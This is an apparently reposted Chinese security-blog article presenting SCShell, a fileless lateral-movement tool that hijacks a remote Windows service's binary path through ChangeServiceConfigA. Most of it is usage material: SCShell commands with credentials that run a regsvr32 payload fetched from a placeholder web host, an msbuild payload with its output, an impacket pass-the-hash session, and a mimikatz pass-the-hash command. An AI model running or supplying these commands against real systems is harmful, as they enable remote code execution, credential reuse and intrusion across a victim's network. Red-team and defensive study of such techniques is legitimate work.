依赖ChangeServiceConfigA运行命令的无文件横向移动工具

admin 2024年5月10日01:56:02评论11 views字数 1901阅读6分20秒阅读模式

依赖ChangeServiceConfigA运行命令的无文件横向移动工具

SCShell

SCShell 是一个无文件横向移动工具,依赖于 ChangeServiceConfigA 来运行命令。该工具的优点在于它不针对 SMB 执行身份验证。一切都通过 DCERPC 执行。

该实用程序可以远程使用,无需注册服务或创建服务。它也不必在远程系统上删除任何文件*(取决于用于执行的技术)

它是如何工作的

它不创建服务,而是简单地远程打开服务并通过ChangeServiceConfigA API 修改二进制路径名。

然后它启动服务。

执行完成后,服务二进制路径将恢复为原始路径。使用 提取原始服务路径QueryServiceConfigA

一切都通过 DCERPC 进行,包括身份验证。

依赖ChangeServiceConfigA运行命令的无文件横向移动工具

用法

当前版本是用 编写的,C但我会将其移植到C#和PowerShell。

Usage:SCShell.exe target service payload domain username password

target可以设置为local在本地运行有效负载

远程执行

SCShell.exe 192.168.197.131 XblAuthManager "C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password

我建议使用它C:windowssystem32cmd.exe /c来确保服务停止后有效负载不会被终止。您需要使用完整路径。

您还可以使用 msbuild 有效负载

SCShell.exe 192.168.197.131 XblAuthManager "C:windowssystem32cmd.exe /C C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe C:payload.csproj" . administrator PasswordSCShell ***Trying to connect to 192.168.197.131Username was provided attempting to call LogonUserASC_HANDLE Manager 0x009ED250Opening XblAuthManagerSC_HANDLE Service 0x009ED1B0Service path was changed to C:windowssystem32cmd.exe /C C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe C:payload.csprojService was started.

我使用 XblAuthManager 作为目标,即 Xbox 附件管理服务

传递哈希

scshell.py 是 SCShell 的 python2 和 3 实现。使用 impacket 项目,可以轻松地使用传递哈希来执行相同的横向移动。

安装

pip install impacket

用法

python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecceImpacket v0.9.20 - Copyright 2019 SecureAuth Corporation[*] Command need to use FULL path. No command output.SCShell>

您可以使用该C实用程序来传递哈希值。默认情况下,将使用当前进程令牌。您可以使用标准传递哈希方法来设置当前进程令牌。

在本地系统上

sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe

然后在新创建的 cmd.exe 中运行 SCShell.exe。

从源代码编译

该代码是使用 GCC Mingw 编译器在 Windows 上编译的。

项目地址:

https://github.com/Mr-Un1k0d3r/SCShell

服用参考:

  • https://www.ired.team/offensive-security/lateral-movement/lateral-movement-abusing-service-configuration-manager

  • https://pentestlab.blog/2020/07/21/lateral-movement-services/

原文始发于微信公众号(Ots安全):依赖ChangeServiceConfigA运行命令的无文件横向移动工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月10日01:56:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   依赖ChangeServiceConfigA运行命令的无文件横向移动工具https://cn-sec.com/archives/2724723.html

发表评论

匿名网友 填写信息